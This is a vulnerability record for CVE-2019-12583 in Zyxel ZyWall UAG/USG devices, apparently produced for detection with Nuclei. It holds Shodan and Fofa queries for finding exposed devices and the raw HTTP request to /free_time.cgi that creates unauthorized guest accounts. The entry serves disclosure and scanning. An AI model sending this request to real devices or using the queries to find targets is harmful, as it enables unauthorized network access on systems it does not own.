| Title | Zyxel ZyWall UAG/USG - Account Creation Access |
|---|---|
| Author | n-thumann,daffainfo |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to create unauthorized accounts with administrative privileges. |
| Remediation | Apply the latest firmware update provided by Zyxel to fix the vulnerability. |
| CVSS Score | 9.1 |
| EPSS Score | 0.59063 |
| CVE ID | CVE-2019-12583 |
| CWE ID | CWE-425 |
| Shodan Query | http.title:"zywall" |
| Fofa Query | title="zywall" |
| Tags | cve cve2019 zyxel zywall xss vuln |
Zyxel UAG, USG, and ZyWall devices allows a remote attacker to generate guest accounts by directly accessing the account generator via the “Free Time” component. This can lead to unauthorized network access or DoS attacks.
GET /free_time.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; ClaudeBot/1.0; +claudebot@anthropic.com)
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12583.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-12583.pcap
N/AN/A